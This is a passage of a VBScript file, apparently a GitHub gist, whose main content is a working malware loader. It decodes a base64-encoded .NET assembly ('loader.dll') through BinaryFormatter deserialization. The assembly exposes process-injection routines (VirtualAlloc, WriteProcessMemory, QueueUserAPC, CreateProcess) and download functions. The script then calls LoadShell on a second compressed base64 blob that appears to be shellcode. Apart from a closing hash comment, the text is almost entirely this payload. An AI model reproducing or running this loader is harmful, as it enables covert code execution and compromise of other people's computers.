s = s & "My0oIQAACm8iAAAKbyMAAApvJAAACnIBAABwchMAAHBvJQAAChEEKCYAAAomKysoIQAACm8iAAAK"
s = s & "byMAAApvJAAACnITAABwcgEAAHBvJQAAChEEKCYAAAomFignAAAKKgAAABMwBACwAAAABQAAESgY"
s = s & "AAAKBS4DBS0vcykAAAoDbyoAAAooKwAACgoEbywAAAoWMQsCBgQFKAMAAAYreQIGBSgEAAAGK28o"
s = s & "HgAACgsHBx8gbx8AAApvIAAACgsFHjMsKCEAAApvIgAACm8jAAAKbyQAAApyAQAAcHITAABwbyUA"
s = s & "AAoHKCYAAAomKyooIQAACm8iAAAKbyMAAApvJAAACnITAABwcgEAAHBvJQAACgcoJgAACiYWKCcA"
s = s & "AAoqYiAAEAAAgAEAAAQagAIAAAQfQIADAAAEKgAAAEJTSkIBAAEAAAAAAAwAAAB2Mi4wLjUwNzI3"
s = s & "AAAAAAUAbAAAAOQIAAAjfgAAUAkAAPQKAAAjU3RyaW5ncwAAAABEFAAAKAAAACNVUwBsFAAAEAAA"
s = s & "ACNHVUlEAAAAfBQAAIQCAAAjQmxvYgAAAAAAAAACAAABVx0CFAkCAAAA+gEzABYAAAEAAAAiAAAA"
s = s & "BwAAAEMAAAAVAAAAPQAAACwAAAAnAAAAEQAAAAUAAAACAAAADwAAAAEAAAACAAAABQAAAAAAvwYB"
s = s & "AAAAAAAGAI0FuwgGAPoFuwgGALsEbggPANsIAAAGAOMEpAcGAGEFpAcGAEIFpAcGAOEFpAcGAK0F"
s = s & "pAcGAMYFpAcGAPoEpAcGAM8EnAgGAK0EnAgGACUFpAcGAAwKBwcGAOsGswEKAN0GKgcKALYHbggG"
s = s & "AH4FBwcGAA4HBwcGAG0EBwcGAGMIBwcGABgGBwcGAPEGswEKAKcDKgcGAMMDBwcGAG4KBwcKAMUJ"
s = s & "bggKAIIDbggGAFwKBwcGAIoGBwcKAA0EbggGAKYGnAgKAFAKQAoAAAAALgAAAAAAAQABAAEAEAB9"
s = s & "CQAAPQABAAEAAgEAAEYJAABRAAQAFgACAQAAIQkAAFEAEgAWAAoBEABcAQAAVQAkABYACgEQAKcB"
s = s & "AABVACgAFgACAQAAhwkAAFEAOgAWABEAJgJGAREAyABGAREA1wBGAQYGsgJGAVaArgZJAVaAkARJ"
s = s & "AVaAYgNJAVaAjQdJAVaANQNJAVaAmgRJAVaAzwNJAVaApAlJAVaA0wJJAVaAbQdJAVaAfAdJAVaA"
s = s & "QAdJAVaAWAZJAQYGsgJGAVaA7gBNAVaANwBNAVaAdgBNAVaAkABNAVaAvQFNAVaAgQJNAVaA5wFN"
s = s & "AVaA+ABNAVaAMwFNAVaAHQFNAVaAZQBNAVaAMQJNAVaADgJNAVaAAAJNAVaA1gFNAVaATAJNAVaA"
s = s & "lgJNAQYAsgkeAAYAbwMeAAYAGgNGAQYADwNGAQYA3AJGAQYAkANRAQYAHghRAQYA9gNRAQYAkgJG"
s = s & "AQYArgJGAQYAHQZGAQYAJQZGAQYAYQlGAQYAbwlGAQYAFQVGAQYAWQlGAQYAiwpUAQYACgBUAQYA"
s = s & "FgAeAAYAdgoeAAYAgAoeAAYATAgeAAYGsgJXAVaAsgBaAVaAowBaAVaAaQJaAVaAdQJaAVaAcAFa"
s = s & "AVaAgAFaAVaASwFaAVaAvABaAVaAkgFaAVAgAAAAAIYYVggGAAEAdCAAAAAAlgD0CV4BAQDcIAAA"
s = s & "AACGABMKZQECAEgiAAAAAIYA0wZsAQUAMCMAAAAAhgDKBmUBBwAAAAAAgACWIOgCcgEKAAAAAACA"
s = s & "AJEgzgd4AQwAAAAAAIAAkSDtB34BDQAAAAAAgACRIPACgwEOAAAAAACAAJEgtwOLARIAAAAAAIAA"
s = s & "kSBiA5IBFQAAAAAAgACRIP8JnQEbAAAAAACAAJYgdwOjAR0AAAAAAIAAliDNCqsBIAAAAAAAgACW"
s = s & "IFgAtgElAAAAAACAAJYgoAq9ASgAAAAAAIAAkSCvCsYBLQAAAAAAgACWIKQJ0AEyAAAAAACAAJYg"
s = s & "VQPjATwAAAAAAIAAliBHA+MBPQDsIwAAAACRGFwI6AE+AAAAAQDOAgAAAQAiAAAAAgCbAwAAAwA2"
s = s & "BgAAAQAiAAAAAgA2BgAAAQAZAQAAAgCbAwAAAwA2BgAAAQA6BAAAAgCXCgAAAQBqCAAAAQBqCAAA"
s = s & "AQAoCAAAAgBkBgAAAwB3BAAABAApCgAAAQDbCQAAAgBRBgAAAwBiBAAAAQD6CAAAAgA/BgAAAwDl"
s = s & "CQAABAD4BgAABQA2CQAABgAEAwAAAQDfAwAAAgCNCAAAAQCUCQAAAgDnAwAAAwAPAwAAAQCyCQAA"
s = s & "AgDNCQAAAwA7CAAABABLBgIABQATBwAAAQBRAAAAAgBvAwAAAwDHAgAAAQCyCQAAAgDbCQAAAwBR"
s = s & "BgAABAB3BAAABQApCgAAAQCyCQAAAgDbCQAAAwBRBgAABAAzCgIABQAaCgAAAQAoBAAAAgBUBAAA"
s = s & "AwANCQAABAD6CAAABQDqCAAABgA2CQAABwBaCgAACADgCgAACQALCAIACgBYBwAAAQBvAwAAAQBv"
s = s & "AwkAVggBABEAVggGABkAVggKACkAVggQADEAVggQADkAVggQAEEAVggQAEkAVggQAFEAVggQAFkA"
s = s & "VggQAGEAVggVAGkAVggQAHEAVggQAJkAVggGAHkAVggGALEAGQgeAIEAVggrAIEAVggGAIkAVggx"
s = s & "AMEApwQ5AMEAQgNBANEAiAQGAIEAwApJALEALQZeANkAcQZiAOEAJgNoAOEAgQhuAJEA/gZzAOkA"
s = s & "/QJ5APEARAR9APkAaQaBAPkAkQaGAOEAuwmLAOEA/gOQAAEBGwSWAPkARAiWAPkAnwOaAOEAaAqg"
s = s & "APEASwqnAAkByAq1ABEBVggGABEBugLDANkAggbJAPkAmwZ5AAkAFADYAAkAGADdAAkAHADiAAkA"
s = s & "IADnAAkAJADsAAkAKADxAAkALAD2AAkAMAD7AAkANAAAAQkAOAAFAQkAPAAKAQkAQAAPAQkARAAU"
s = s & "AQkATAAZAQkAUAAeAQkAVAAjAQkAWADsAAkAXAAFAQkAYAAoAQkAZAAtAQkAaAAyAQkAbAAPAQkA"
s = s & "cAAPAQkAdAA3AQkAeAAKAQkAfADiAAkAgADdAAkAhADnAAkAiAA8AQkAjABBAQgA7ADdAAgA8ADi"
s = s & "AAgA9ADnAAgA+ADsAAgA/ADxAAgAAAH2AAgABAH7AAgACAEAAQgADAEFAS4ACwDsAS4AEwD1AS4A"
s = s & "GwAUAi4AIwAdAi4AKwApAi4AMwApAi4AOwApAi4AQwAdAi4ASwAvAi4AUwApAi4AWwApAi4AYwBH"
s = s & "Ai4AawBxAkMAWwB+AmMAcwDdAIMAcwDdAOMAcwDdABoAIQBOAKwAvgCyBgEAAAENAOgCAQBAAQ8A"
s = s & "zgcBAEABEQDtBwEAAAETAPACAgAAARUAtwMCAAABFwBiAwIAAAEZAP8JAgBAARsAdwMBAEABHQDN"
s = s & "CgEAAAEfAFgAAQBAASEAoAoBAAABIwCvCgEAAAElAKQJAQAAAScAVQMBAAABKQBHAwEABIAAAAEA"
s = s & "AAAAAAAAAAAAAAAANAgAAAIAAAAAAAAAAAAAAM8A3wIAAAAAAgAAAAAAAAAAAAAAzwAHBwAAAAAD"
s = s & "AAIABAACAAUAAgAGAAIABwACAAAAAGtlcm5lbDMyAGNiUmVzZXJ2ZWQyAGxwUmVzZXJ2ZWQyAHNo"
s = s & "ZWxsYmFzZTY0ADxNb2R1bGU+AENSRUFURV9CUkVBS0FXQVlfRlJPTV9KT0IAcGZuQVBDAFF1ZXVl"
s = s & "VXNlckFQQwBDUkVBVEVfU1VTUEVOREVEAENSRUFURV9ERUZBVUxUX0VSUk9SX01PREUAQ1JFQVRF"
s = s & "X05FV19DT05TT0xFAFNVU1BFTkRfUkVTVU1FAFRFUk1JTkFURQBJTVBFUlNPTkFURQBQQUdFX1JF"
s = s & "QURXUklURQBQQUdFX0VYRUNVVEVfUkVBRFdSSVRFAFpFUk9fRkxBRwBDUkVBVEVfUFJFU0VSVkVf"
s = s & "Q09ERV9BVVRIWl9MRVZFTABVUkwAQ1JFQVRFX1NIQVJFRF9XT1dfVkRNAENSRUFURV9TRVBBUkFU"
s = s & "RV9XT1dfVkRNAFNFVF9USFJFQURfVE9LRU4AUFJPQ0VTU19JTkZPUk1BVElPTgBTRVRfSU5GT1JN"
s = s & "QVRJT04AUVVFUllfSU5GT1JNQVRJT04ARElSRUNUX0lNUEVSU09OQVRJT04AU1RBUlRVUElORk8A"
s = s & "U3lzdGVtLklPAENSRUFURV9ORVdfUFJPQ0VTU19HUk9VUABERVRBQ0hFRF9QUk9DRVNTAENSRUFU"
s = s & "RV9QUk9URUNURURfUFJPQ0VTUwBERUJVR19QUk9DRVNTAERFQlVHX09OTFlfVEhJU19QUk9DRVNT"
s = s & "AE1FTV9DT01NSVQAQ1JFQVRFX1VOSUNPREVfRU5WSVJPTk1FTlQARVhURU5ERURfU1RBUlRVUElO"
s = s & "Rk9fUFJFU0VOVABHRVRfQ09OVEVYVABTRVRfQ09OVEVYVABDUkVBVEVfTk9fV0lORE9XAGR3WABJ"
s = s & "TkhFUklUX1BBUkVOVF9BRkZJTklUWQBkd1kAdmFsdWVfXwBEb3dubG9hZERhdGEAZHdEYXRhAGRh"
s = s & "dGEAU2V0UXVvdGEAY2IAbXNjb3JsaWIAV2luRXhlYwBWaXJ0dWFsQWxsb2MAZ2V0X0lkAGxwVGhy"
s = s & "ZWFkSWQAZHdUaHJlYWRJZABkd1Byb2Nlc3NJZABHZXRQcm9jZXNzQnlJZABWaXJ0dWFsTWVtb3J5"
s = s & "UmVhZABTdXNwZW5kVGhyZWFkAFJlc3VtZVRocmVhZABDcmVhdGVUaHJlYWQAaFRocmVhZABPcGVu"
s = s & "VGhyZWFkAFByb2Nlc3NUaHJlYWQAbHBSZXNlcnZlZABjbWQAUmVwbGFjZQBDb21wcmVzc2lvbk1v"
s = s & "ZGUAVmlydHVhbEZyZWUASURpc3Bvc2FibGUARHVwbGljYXRlSGFuZGxlAGhIYW5kbGUAYkluaGVy"
s = s & "aXRIYW5kbGUAbHBUaXRsZQBnZXRfTWFpbk1vZHVsZQBQcm9jZXNzTW9kdWxlAGdldF9GaWxlTmFt"
s = s & "ZQBscEFwcGxpY2F0aW9uTmFtZQBJcENtZExpbmUAZ2V0X0NvbW1hbmRMaW5lAGxwQ29tbWFuZExp"
s = s & "bmUAZHdGcmVlVHlwZQBWYWx1ZVR5cGUAZmxBbGxvY2F0aW9uVHlwZQBEaXNwb3NlAFRlcm1pbmF0"
s = s & "ZQBWaXJ0dWFsTWVtb3J5V3JpdGUAR3VpZEF0dHJpYnV0ZQBEZWJ1Z2dhYmxlQXR0cmlidXRlAENv"
s = s & "bVZpc2libGVBdHRyaWJ1dGUAQXNzZW1ibHlUaXRsZUF0dHJpYnV0ZQBBc3NlbWJseVRyYWRlbWFy"
s = s & "a0F0dHJpYnV0ZQBkd0ZpbGxBdHRyaWJ1dGUAQXNzZW1ibHlGaWxlVmVyc2lvbkF0dHJpYnV0ZQBB"
s = s & "c3NlbWJseUNvbmZpZ3VyYXRpb25BdHRyaWJ1dGUAQXNzZW1ibHlEZXNjcmlwdGlvbkF0dHJpYnV0"
s = s & "ZQBGbGFnc0F0dHJpYnV0ZQBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAEFzc2VtYmx5"
s = s & "UHJvZHVjdEF0dHJpYnV0ZQBBc3NlbWJseUNvcHlyaWdodEF0dHJpYnV0ZQBBc3NlbWJseUNvbXBh"
s = s & "bnlBdHRyaWJ1dGUAUnVudGltZUNvbXBhdGliaWxpdHlBdHRyaWJ1dGUAQnl0ZQBkd1hTaXplAGR3"
s = s & "WVNpemUAZ2V0X1NpemUAYXJjaFNpemUAZHdTdGFja1NpemUAblNpemUAZHdTaXplAFN5bmNocm9u"
s = s & "aXplAHNpemUASW5kZXhPZgBGcm9tQmFzZTY0U3RyaW5nAFRvQmFzZTY0U3RyaW5nAFN1YnN0cmlu"
s = s & "ZwBnZXRfTGVuZ3RoAE1hcnNoYWwAQWxsAGtlcm5lbDMyLmRsbABsb2FkZXIuZGxsAFVSTFNoZWxs"
s = s & "AExvYWRTaGVsbABEZWZsYXRlU3RyZWFtAE1lbW9yeVN0cmVhbQBwYXJhbQBnZXRfSXRlbQBTeXN0"
s = s & "ZW0ARW51bQBscE51bWJlck9mQnl0ZXNXcml0dGVuAFN5c3RlbS5JTy5Db21wcmVzc2lvbgBRdWVy"
s = s & "eUxpbWl0ZWRJbmZvcm1hdGlvbgBscFByb2Nlc3NJbmZvcm1hdGlvbgBTZXRJbmZvcm1hdGlvbgBR"
s = s & "dWVyeUluZm9ybWF0aW9uAFZpcnR1YWxNZW1vcnlPcGVyYXRpb24AU3lzdGVtLlJlZmxlY3Rpb24A"
s = s & "UHJvY2Vzc1RocmVhZENvbGxlY3Rpb24AV293NjREaXNhYmxlV293NjRGc1JlZGlyZWN0aW9uAFdv"
s = s & "dzY0UmV2ZXJ0V293NjRGc1JlZGlyZWN0aW9uAGxwU3RhcnR1cEluZm8AWmVybwBscERlc2t0b3AA"
s = s & "bHBTdGFydEFkZHIAbG9hZGVyAGxwQnVmZmVyAFRvTG93ZXIAaFN0ZEVycm9yAC5jdG9yAC5jY3Rv"
s = s & "cgBJbnRQdHIAcHRyAFN5c3RlbS5EaWFnbm9zdGljcwBnZXRfVGhyZWFkcwBkd01pbGxpc2Vjb25k"
s = s & "cwBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJT"
s = s & "ZXJ2aWNlcwBEZWJ1Z2dpbmdNb2RlcwBiSW5oZXJpdEhhbmRsZXMAbHBUaHJlYWRBdHRyaWJ1dGVz"
s = s & "AGxwUHJvY2Vzc0F0dHJpYnV0ZXMAUHJvY2Vzc0NyZWF0aW9uRmxhZ3MAZHdDcmVhdGlvbkZsYWdz"
s = s & "AFByb2Nlc3NBY2Nlc3NGbGFncwBkd0ZsYWdzAGR3WENvdW50Q2hhcnMAZHdZQ291bnRDaGFycwBU"
s = s & "ZXN0Q2xhc3MAVGhyZWFkQWNjZXNzAGR3RGVzaXJlZEFjY2VzcwBDcmVhdGVQcm9jZXNzAGhQcm9j"
s = s & "ZXNzAEdldEN1cnJlbnRQcm9jZXNzAGxwQmFzZUFkZHJlc3MAbHBBZGRyZXNzAGxwU3RhcnRBZGRy"
s = s & "ZXNzAERlY29tcHJlc3MAV2FpdEZvclNpbmdsZU9iamVjdABJbmplY3QAbHBmbE9sZFByb3RlY3QA"
s = s & "ZmxQcm90ZWN0AGZsTmV3UHJvdGVjdABTeXN0ZW0uTmV0AEV4aXQAV2ViQ2xpZW50AGxwRW52aXJv"
s = s & "bm1lbnQAU3RhcnQAQ29udmVydABoU3RkSW5wdXQAaFN0ZE91dHB1dAB3U2hvd1dpbmRvdwBuQ21k"
s = s & "U2hvdwBWaXJ0dWFsQWxsb2NFeABWaXJ0dWFsUHJvdGVjdEV4AFRvQXJyYXkAQ29weQBXcml0ZVBy"
s = s & "b2Nlc3NNZW1vcnkAbHBDdXJyZW50RGlyZWN0b3J5AAAAEXMAeQBzAHcAbwB3ADYANAAAEXMAeQBz"
s = s & "AHQAZQBtADMAMgAAAAAAoZRutRXYNEybIGuS8/YgqgAEIAEBCAMgAAEFIAEBEREEIAEBDgQgAQEC"
s = s & "AwcBGAIGGAkHBBJBHQUSRQgFIAEBHQUHIAIBEmERZQcgAwEdBQgIByADCB0FCAgEIAAdBQ8HCR0F"
s = s & "ERgRFBgYCRJJGA4DAAAIBQABHQUOBQABEnEIBCAAEkkFIAESdQgDIAAIAwAADgQgAQgDBCABDggE"
s = s & "AAAScQUgABKAgQMgAA4FIAIODg4GAAIScQ4OBAABAQgIBwUdBRgJGA4IAAQBHQUIGAgEBwIODgUg"
s = s & "AR0FDgUAAQ4dBQi3elxWGTTgiQT/Dx8ABAEAAAAEAgAAAAQIAAAABBAAAAAEIAAAAARAAAAABIAA"
s = s & "AAAEAAEAAAQAAgAABAAEAAAEABAAAAQAABAABAAAAAAEAAAAAQQAAAAEBAAAAAgEAAAEAAQAAAAC"
s = s & "BAQAAAAEAAAIAAQAAAEAAgYJAwYRDAMGERACBg4CBgYCBggDBhEcBgABHQUdBQYgAwEODggFIAIB"
s = s & "DggFAAIKDggFAAECEBgEAAECGAcABBgYCQkJBgADAhgJCQoABhgJCRgYCRAJBQACCRgJBwADGBEc"
s = s & "AggKAAUCGBgdBQgQGAYAAxgYGBgIAAUYGBgICQkJAAUCGBgICRAJEgAKAg4OGBgCERAYDhARGBAR"
s = s & "FAQAAQkYAwAAAQgBAAgAAAAAAB4BAAEAVAIWV3JhcE5vbkV4Y2VwdGlvblRocm93cwEIAQACAAAA"
s = s & "AAALAQAGbG9hZGVyAAAFAQAAAAAXAQASQ29weXJpZ2h0IMKpICAyMDE3AAApAQAkNTlhZDE1ZDIt"
s = s & "NjI4MC00MGQ0LWIzMDYtNDljYjBiZWIzMmQwAAAMAQAHMS4wLjAuMAAABQEAAQAAAAAAABX7sFkA"
s = s & "AAAAAgAAABwBAAAkOwAAJB0AAFJTRFPaUWSmMHhcSa3PeAj0oJ/OAQAAAEU6XHByaXZcZnJhbWV3"
s = s & "b3JrXGNvZGVcdG9vbHNcZXhlMmpzXGxvYWRlclxvYmpcUmVsZWFzZVxsb2FkZXIucGRiAAAAAAAA"
s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s & "AAAAAAAAAAAAAAAAAAAAAAAAaDwAAAAAAAAAAAAAgjwAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s & "AHQ8AAAAAAAAAAAAAAAAX0NvckRsbE1haW4AbXNjb3JlZS5kbGwAAAAAAP8lACAAEAAAAAAAAAAA"
s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAQAAAAGAAAgAAAAAAAAAAAAAAAAAAAAQABAAAAMAAA"
s = s & "gAAAAAAAAAAAAAAAAAAAAQAAAAAASAAAAFhAAAAMAwAAAAAAAAAAAAAMAzQAAABWAFMAXwBWAEUA"
s = s & "UgBTAEkATwBOAF8ASQBOAEYATwAAAAAAvQTv/gAAAQAAAAEAAAAAAAAAAQAAAAAAPwAAAAAAAAAE"
s = s & "AAAAAgAAAAAAAAAAAAAAAAAAAEQAAAABAFYAYQByAEYAaQBsAGUASQBuAGYAbwAAAAAAJAAEAAAA"
s = s & "VAByAGEAbgBzAGwAYQB0AGkAbwBuAAAAAAAAALAEbAIAAAEAUwB0AHIAaQBuAGcARgBpAGwAZQBJ"
s = s & "AG4AZgBvAAAASAIAAAEAMAAwADAAMAAwADQAYgAwAAAAGgABAAEAQwBvAG0AbQBlAG4AdABzAAAA"
s = s & "AAAAACIAAQABAEMAbwBtAHAAYQBuAHkATgBhAG0AZQAAAAAAAAAAADYABwABAEYAaQBsAGUARABl"
s = s & "AHMAYwByAGkAcAB0AGkAbwBuAAAAAABsAG8AYQBkAGUAcgAAAAAAMAAIAAEARgBpAGwAZQBWAGUA"
s = s & "cgBzAGkAbwBuAAAAAAAxAC4AMAAuADAALgAwAAAANgALAAEASQBuAHQAZQByAG4AYQBsAE4AYQBt"
s = s & "AGUAAABsAG8AYQBkAGUAcgAuAGQAbABsAAAAAABIABIAAQBMAGUAZwBhAGwAQwBvAHAAeQByAGkA"
s = s & "ZwBoAHQAAABDAG8AcAB5AHIAaQBnAGgAdAAgAKkAIAAgADIAMAAxADcAAAAqAAEAAQBMAGUAZwBh"
s = s & "AGwAVAByAGEAZABlAG0AYQByAGsAcwAAAAAAAAAAAD4ACwABAE8AcgBpAGcAaQBuAGEAbABGAGkA"
s = s & "bABlAG4AYQBtAGUAAABsAG8AYQBkAGUAcgAuAGQAbABsAAAAAAAuAAcAAQBQAHIAbwBkAHUAYwB0"
s = s & "AE4AYQBtAGUAAAAAAGwAbwBhAGQAZQByAAAAAAA0AAgAAQBQAHIAbwBkAHUAYwB0AFYAZQByAHMA"
s = s & "aQBvAG4AAAAxAC4AMAAuADAALgAwAAAAOAAIAAEAQQBzAHMAZQBtAGIAbAB5ACAAVgBlAHIAcwBp"
s = s & "AG8AbgAAADEALgAwAC4AMAAuADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s & "AAAAAAAAAAAAMAAADAAAAJQ8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s & "AAAAAAAAAAENAAAABAAAAAkXAAAACQYAAAAJFgAAAAYaAAAAJ1N5c3RlbS5SZWZsZWN0aW9uLkFz"
s = s & "c2VtYmx5IExvYWQoQnl0ZVtdKQgAAAAKCwAA"
entry_class = "TestClass"
Dim fmt, al, d, o
Set fmt = CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter")
Set al = CreateObject("System.Collections.ArrayList")
al.Add fmt.SurrogateSelector
Set d = fmt.Deserialize_2(Base64ToStream(s))
Set o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class)
shl=""
shl=shl&"+/Oik4GBIaHzqeGllO4gg+4gnu4gke4iDf7tXmqG/w0PrLFJrGHSUTh4npfx+KMPQeHdQQLdTjaM"
shl=shl&"F7odKloPlHgxXgjo9pDojlBgvPzYxrPbpJvxGlgXWL3Fg9IvzLU/rGtVSh9FdEeoMF5O6+bx7o6Q"
shl=shl&"YbzczdLNeKHTRUUlOjoxMirw/4OI+KhuoddtsRl5qSUMGeWZeZkhGT7lauz/r75oADrQN78qMycn"
shl=shl&"Ud9Ez0BBIzk/tyCxJDMpJ9VawTfY01XBQs/AWiE8My8lv7xYwS9EwUzPQJMhgoqAIdLwfzgQBGZY"
shl=shl&"hVUu/3/15WSgm6INTwYGZjEHBmbsZmRgCA7ICO+cf+z/1c7Dr6siDS8FZTAYLWgJCgoKDArIeB2q"
shl=shl&"Zw2UOZbRYMzA0PkgiyUgSz4so9RtXtv/qxCTwzJ02SSq/18FBqqH4f/WbyUsnT9fc2asOvooFqjx"
shl=shl&"YIarYpwhWG0We2BYQMb28Afc/6/uZ9BnYLA8XsrSeeN1l+H/16KvPV80/v//X9+poMiCgSHjw9ZF"
shl=shl&"Yf+vZjlkMAgAeQwMDgzhGRFLgp/+vzo5OLjzeXgGgwLQ4WEZQtM6H4GtPtvNzni49UDp04jDL2SB"
shl=shl&"BhWXpCbm6uWkJhblZeal6yYWZOoBA58BAA=="
o.LoadShell shl, 4
End Sub
SetVersion
On Error Resume Next
Run
If Err.Number <> 0 Then
DebugPrint Err.Description
Err.Clear
End If
## Deserialize_2(Base64ToStream(s)) decodes to 09034191a46809f73cf1e0b9206c8b37314517d0d2a60095e73d4a77d1d3186a
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment